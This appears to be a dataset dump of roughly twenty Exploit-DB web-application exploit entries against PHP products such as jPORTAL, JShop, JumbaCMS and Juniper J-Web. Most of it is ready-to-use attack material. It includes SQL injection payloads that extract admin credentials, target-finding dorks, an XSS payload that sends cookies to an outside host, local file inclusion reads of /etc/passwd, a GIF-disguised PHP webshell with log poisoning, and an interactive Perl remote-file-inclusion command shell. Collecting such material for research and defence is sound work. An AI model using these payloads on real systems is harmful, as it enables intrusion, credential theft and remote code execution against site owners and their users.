deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4614
Description: jPORTAL 2.3.1 - 'articles.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-09
Author: Alexsize

Exploit:
Title:jPORTAL =< 2.3.1 and  Remote SQL Injection Vulnerability
Dork:  intext:"jPORTAL 2" & inurl:"articles.php?topic="

Autor:  Alexsize
E-Mail: Alexsize@mail.ru
Site:   Antichat.ru


articles.php?topic=-3+union+select+1,pass,3,4,5+from+admins/

Vuln code:

function topic_name($a)  
{     
global $topic_tbl; 
$query = "SELECT * FROM $topic_tbl WHERE id=$a"; 
$result = mysql_query($query);   
$r = mysql_fetch_array($result);     
return '<a href="articles.php?topic='.$a.'" class="t_main">'.$r['title'].'</a>';   
} 

C ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼, Alexsize.

# milw0rm.com [2007-11-09]
Exploit-DB #25382
Description: jPORTAL 2.3.1 - 'Banner.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-11
Author: CiNU5

Exploit:
source: https://www.securityfocus.com/bid/13103/info

JPortal is reportedly affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect JPortal version 2.3.1; earlier versions may also be vulnerable. 

The following demonstrates the steps necessary to obtain the administrator login id and password:
go to http://www.example.com/jportal/banner.php and try this:

' UNION SELECT NULL, nick, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1

and then:

' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1
Exploit-DB #26469
Description: JPortal Web Portal 2.2.1/2.3.1 - 'comment.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-04
Author: Mousehack

Exploit:
source: https://www.securityfocus.com/bid/15324/info

JPortal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being used in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/comment.php?what=news&id=<news id>
and 1=0 union (select null, null, nick, null, null, null, null, null, null,
null, null, null from admins limit n,1)
got admin nick

http://www.example.com/comment.php?what=news&id=<news id>
and 1=0 union (select null, null, pass, null, null, null, null, null, null,
null, null, null from admins limit n,1)
got md5 password
Exploit-DB #26470
Description: JPortal Web Portal 2.2.1/2.3.1 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-04
Author: Mousehack

Exploit:
source: https://www.securityfocus.com/bid/15324/info
 
JPortal is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being used in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news.php?id=<newsid>%20AND%200%20=%201%20UNION%20SELECT%20*,%201,%201,%201,%201%20FROM%20admins%20--
Exploit-DB #18167
Description: JQuery-Real-Person plugin - Bypass Captcha
Type: webapps
Platform: php
Date: 2011-11-28
Author: Alberto_García_Illera

Exploit:
# Exploit Title: Bypass the JQuery-Real-Person captcha plugin

# Google Dork: [if relevant]  (we will automatically add these to the GHDB)

# Date: 28th November, 2011

# Author: Alberto Garcia-Illera

# Software Link: http://keith-wood.name/realPerson.html

# Version: 1.0.1 (0-day)

# Tested on: Chrome web browser

# Vulnerable software can be downloaded from this link:
http://keith-wood.name/zip/jquery.realperson.package-1.0.1.zip


It is possible to bypass the captcha on the JQuery-Real-Person plugin to
perform a brute force attack.

There is associated parameter with each image, to checkout the characters
introduced by the user. But there is not a good chek to assure that the
characteres introduced are the characters shown on the picture.

Therefore we can just choose a pair of parameter and characters and use
them in all the request to the web server.

The name of the parameter that determinate the captcha image is "value".



Example: The captcha image shown in the example is JYYBME and we use
"Inspect Element" on Google Chorme or Firebug on Firefox to search this
line in the code:


<input type="hidden" class="realperson-hash" name="defaultRealHash" *
value="[PII_REDACTED]"*>


In this case we already know a valid pair of parameter and characters that
we can use to perform a brute force attack bypassing the captcha
restriction.

JYYBME ----> *[PII_REDACTED]*

We can generate as many valid pairs as we want but only one is necessary to
perform the brute force attack.


It does not matters that the captcha does not show the characters that we
type because the check is done through the value parameter so we just need
to type one valid pair of parameter and characters.


Thanks to Dani and Manu (The Sur) for helping me teaching me, every day, a
different knowledge.
Exploit-DB #27794
Description: JSBoard 2.0.10/2.0.11 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-02
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/17778/info

JSBoard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/jsboard/login.php?table=<script>document.location=&#039;http://www.example.com/cgi-bin/cookie.cgi&#039;%2Bdocument.cookie</script>
Exploit-DB #24987
Description: JSBoard 2.0.x - Arbitrary Script Upload
Type: webapps
Platform: php
Date: 2004-12-16
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11983/info

JSBoard is reported prone to a vulnerability that can allow a remote attacker to upload arbitrary PHP scripts to a vulnerable server. This issue results from insufficient sanitization of user-supplied input.

If successful, the attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the application.

This issue was identified in versions of JSBoard 2.0.8 and prior and JSBoard-win32 1.3.11a prior. 

Script file name:
attack.php.hwp
Exploit-DB #15595
Description: jSchool Advanced - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-11-22
Author: Don Tukulesto

Exploit:
-----------------------------------------------------------------------
jSchool Advanced (Blind SQL Injection) Vulnerability
-----------------------------------------------------------------------
Author		: Don Tukulesto (root@indonesiancoder.com)
Site		: http://indonesiancoder.com
Vendor		: http://jogjacamp.com
Software		: jSchool Advanced (http://www.jogjacamp.com/script_4_Script_Website_Murah_Instant_Sekolah.html)
Price		: Rp. 1.200.000
GMT +07:00 November 21, 2010
-----------------------------------------------------------------------



I.  Demo Site
-----------------------------------------------------------------------
http://server/index.php?action=gallery.list&id_gallery=5

II. POC
-----------------------------------------------------------------------
http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=5	# TRUE
http://server/index.php?action=gallery.list&id_gallery=5 and substring(@@version,1,1)=4	# FALSE

III. Vendor patch
-----------------------------------------------------------------------
Currently manufacturers do not provide patches or upgrades.

IV. Credits
-----------------------------------------------------------------------
Allahu Akbar
INDONESIAN CODER ~ Server is Down ~ MC Crew ~ Surabayahackerlink ~ AntiSecurity
M364TR0N ~ MISTER SAINT ~ Gonzhack ~ Cyb3r_Tr0n ~ kaMtiEz ~ ibl13z ~ N4ck0 ~ Huda ~ Xr0b0t
Yurakha ~ aN93l1c ~ Arianom ~Mboys ~ Contrex ~ Mboys ~ n4KuLa_ ~ m4ho666 ~ k4L0ng666 
kecemplungkalen ~ YaDoY666 ~ Jack- ~ xshadow ~ s4va ~ NoGe ~ kido ~ t3ll0 ~ cimpli
Exploit-DB #16167
Description: jSchool Advanced - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-14
Author: eXa.DisC

Exploit:
-----------------------------------------------------------------------
Exploit Title    : jSchool Advanced (SQL Injection) Vulnerability
Dork             : inurl: "action=profil.main"
Found            : 15 Jan '11
Author             : eXa.DisC
Software            : jSchool Advanced 
(http://www.jogjacamp.com/script_4_Script_Website_Murah_Instant_Sekolah.html)
Price           : Rp. 1.200.000
Vendor          : http://jogjacamp.com
-----------------------------------------------------------------------
 
I.  Demo Site
-----------------------------------------------------------------------
http://site/index.php?action=profil.main&xid=1
 
II. POC
-----------------------------------------------------------------------
http://site/index.php?action=profil.main&xid=[SQLi]
 
III. Vendor patch
-----------------------------------------------------------------------
Currently manufacturers do not provide patches or upgrades.
 
IV. Credits
-----------------------------------------------------------------------
- God
- bawahtanah_sii : tenro, sality23, em32, tdos, kiwill and my-Org
- XCODE - semua [komunitas IT dan netter] underground INDONESIA
- All Friend's and Enemy who know me
Exploit-DB #5325
Description: JShop 1.x < 2.x - 'xPage' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-30
Author: v0l4arrra

Exploit:
JShop 1.x-2.x local file include
---------------------------------------------------------------------------------------------------------------------
+ scripts:	Jshop Server 1.x-2.x                                                                                +
+ Discovered By :	v0l4arrra <v0l4arrr[at]gmail[dot]com>                                                       +
+ url:	 www.jshop.co.uk                                                                                            +
+ dork:	"powered by jshop" and also usefull one "allinurl:jssCart=.."                                               +
---------------------------------------------------------------------------------------------------------------------
Go to www.jshop.co.uk and check out demo version...

http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../../../../etc/passwd%00

Then u can upload for example the gif file like this 

$cat 1.gif
GIF89aD
<?php echo system($_GET['cmd']); ?>

or do it like me:
$nc www.jshopecommerce.com 80
GET <?php echo '<start>'; echo system($_GET['cmd']); echo '</start>'; ?> HTTP/1.1
Host: www.jshopecommerce.com

................................................................................................................
and simple parse the output of error log with lame perl script:

#!/usr/bin/env perl
use strict; use warnings;

#####################################
# This script download log file     #
# and grep the result of the        #
# command in tags <start>..</start> #
# and print it..                    #
#####################################

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;

my $url = $ARGV[0] or print "usage: $0 http://127.0.0.1/vuln.php?page=../../../../../var/log/access.log%00&cmd=ls+-lisa\n" and exit;
my $ua= new LWP::UserAgent;
$ua->agent("Mozilla/5.0");
my $request = new HTTP::Request( 'GET' => $url );
my $document = $ua->request($request);
my $response = $document->as_string;
$response =~ m%<start>(.*?)</start>%is;
print $1,"\n";

######################################

so dont waste your time and check it now
http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../etc/httpd/logs/error_log%00&cmd=ls+-lisa

##########################################

# milw0rm.com [2008-03-30]
Exploit-DB #3113
Description: Jshop Server 1.3 - 'fieldValidation.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-10
Author: irvian

Exploit:
==========================================================================
# scripts       : Jshop Server 1.3
# Discovered By : irvian
# script        : http://www.jshop.co.uk/
# Thanks To     : #hitamputih #nyubicrew #patihack
# special To    : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork          :powered by jshop
--------------------------------------------------------------------------
file: routines/fieldValidation.php

include($jssShopFileSystem."resources/includes/validations.php");


exploit : www.target.com/routines/fieldValidation.php?jssShopFileSystem=[evilcode]

# milw0rm.com [2007-01-10]
Exploit-DB #6057
Description: jsite 1.0 oe - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-12
Author: S.W.A.T.

Exploit:
--==+================================================================================+==--
--==+              jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility                 +==--
--==+================================================================================+==--

-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=[ SQL Injection Exploit ]=-=-=-=-=-=-=-=-=-=-=-=-

AUTHOR: S.W.A.T.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-

Download: http://www.sclek.com/jsite.zip

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DORK (google): "Powered by jSite 1.0 OE"

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

DESCRIPTION:
You Can See Admin User & MD5 Password ..::.. Then You Can Crack It & Login ;)

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

EXPLOITS:
www.site.com/?page=-1/**/union/**/select/**/1,2,3,concat_ws

(0x3a,user,pass),admin/**/from/**/jsite_users/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

NOTE/TIP:

1 Week Off & I Be Back :D ;)

Admin Login Is At /admin/

U Can Upload Your Shell When U Login Successfully
From This Link: www.site.com/admin/index.php?menu=uploads
& Your Shell Will Be Appear Here: www.site.com/uploads/[file].php

-=-=-=-=-=-=--=-=-=-=-=-=-=-[ Local File Inclusion ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Exploit:

 www.[target].com/Script/index.php?module=[LFI]


--==+================================================================================+==--
--==+              jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility                 +==--
--==+================================================================================+==--

# milw0rm.com [2008-07-12]
Exploit-DB #11445
Description: JTL-Shop 2 - 'druckansicht.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-14
Author: Lo$T

Exploit:
JTL-Shop 2 (druckansicht.php) SQL Injection Vulnerability

author : Lo$T

(#) Home : www.sa-hacker.com/vb<http://www.sa-hacker.com/vb><http://www.sa-hacker.com/vb> + www.sec-eviles.com/vb<http://www.sec-eviles.com/vb>


email : H_CK@live.fr<mailto:H_CK@live.fr>


Dork :" Powered by JTL-Shop 2"

exp :

http://server/Path/druckansicht.php?s=13 and 1=2 union select 1,2,3,4,5,concat(cName,0x3a,cPass),7,8,9 from tadminlogin--
Greetz TO :beloved560 + The S3r!0uS + SMDo
Exploit-DB #51165
Description: Judging Management System v1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2023-03-31
Author: Angelo Pio Amirante

Exploit:
# Exploit Title: Judging Management System v1.0 - Authentication Bypass
# Date: 12/11/2022
# Exploit Author: Angelo Pio Amirante
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 on XAAMP server

# Vulnerability: An attacker can bypass login page and access to dashboard page
# Vulnerable file: login.php
# Exploit:

1) Go to: http://localhost/php-jms/index.php
2) As username use this payload: 'or 1=1-- -
3) Use random words for password


POST /php-jms/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/php-jms/index.php
Cookie: wp-settings-time-1=[PII_REDACTED]; _pk_id.1.1fff=9c7644c9d84f46f[PII_REDACTED].
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=%27or+1%3D1--+-&password=asa
Exploit-DB #3799
Description: JulmaCMS 1.4 - 'file.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-25
Author: GoLd_M

Exploit:
# JulmaCMS 1.4(file.php file)Remote File Disclosure
# D.Script: http://julmajanne.com/downloads/julma.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# V.Code In /file.php:
###################/file.php###########################
# <?php // $Id: file.php,v 1.4 2004/04/24 18:18:22 janne Exp $
#
#    include("config.php");
#    include("lib/mime.php");
#    $file = $_GET['file'];<-------[+]
#
#    if($file) {
#        $file = $CFG->dir . $file;
#        $fname = basename($file);
#        $mime = mimetype("mime", $fname);
#
#        header("Content-Type: $mime");
#        header("Content-Lenght: ". filesize($file) ."");
#        header("Content-Disposition: inline; filename=$fname");
#        header("Content-Description: PHP Generated Data");
#        readfile($file); <-------[+]
#        unset($fname,$file,$type);
#    } else {
#        header("Location: $CFG->web");
#    }
# ?>
########################################################
# Exploit:[Path_JulmaCMS]/file.php?file=../../../../../../etc/passwd
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & bd0rk

# milw0rm.com [2007-04-25]
Exploit-DB #2628
Description: JumbaCMS 0.0.1 - '/includes/functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# JumbaCMS Build 2 Remote Command Execution Vulnerability
#
# Risk : High (Remote Code Execution)
#
# Url: http://jumbacms.googlecode.com/svn/trunk/
#
# Exploit:
#   http://site.com/[path]/includes/functions.php?jcms_root_path=[Evil_Script]
# w0rks only if php<5 ! c0de:
#      if (version_compare(phpversion(), "5.0.0", "<"))
#         {
#	     include($jcms_root_path."includes/file_put_contents.".$phpEx);
#          }
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".        JumbaCMS remote Command Execution Vulnerability      .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/includes/functions.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?jcms_root_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
  { print "Enter your command !\n"; }
else
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-23]
Exploit-DB #29544
Description: Juniper Junos J-Web - Privilege Escalation
Type: webapps
Platform: php
Date: 2013-11-12
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-13-003 security advisory

Release Date.              10-Sep-2013
Last Update.               -              
Vendor Notification Date.  27-Sep-2012
Product.                   Juniper Junos J-Web 
Platform.                  Junos
Affected versions.         All builds prior to 2013-02-28 are affected
Severity Rating.           Medium
Impact.                    Privilege escalation
Attack Vector.             From remote with read-only authentication
Solution Status.           Vendor patch (not verified by SOS)
                           Disable J-Web or limit access
CVE reference.             CVE - not yet assigned

Details.
The J-Web is a GUI based network management application used on Junos 
devices. The web application is vulnerable to a remote code execution 
vulnerability which permits privilege escalation. The file/jsdm/ajax
/port.php allows execution of arbitrary user supplied PHP code via the
rs POST parameter. Code executes with UID=0 (root) privileges, however
you are confined to a chroot. Privilege escalation can be achieved by 
waiting for an administrator to log in and reading the contents of /tmp
to hijack their session.

Proof of Concept.
Code execution: Execute a command inside the Chroot: 
  POST /jsdm/ajax/port.php 
  rs=exec&rsargs[]=echo “hello” 

Privilege escalation: Read /tmp and hijack a session 
  POST /jsdm/ajax/port.php 
  rs=file_get_contents&rsargs[]=/tmp


Solution.
All Junos OS software releases built on or after 2013-02-28 have fixed
this specific issue. This fix has not been validated by SOS.
As a workaround disable J-Web, or limit access to only trusted hosts.
This issue is being tracked as PR 826518 and is visible on the Juniper
Customer Support website.


Discovered by.
Sense of Security Labs.


About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.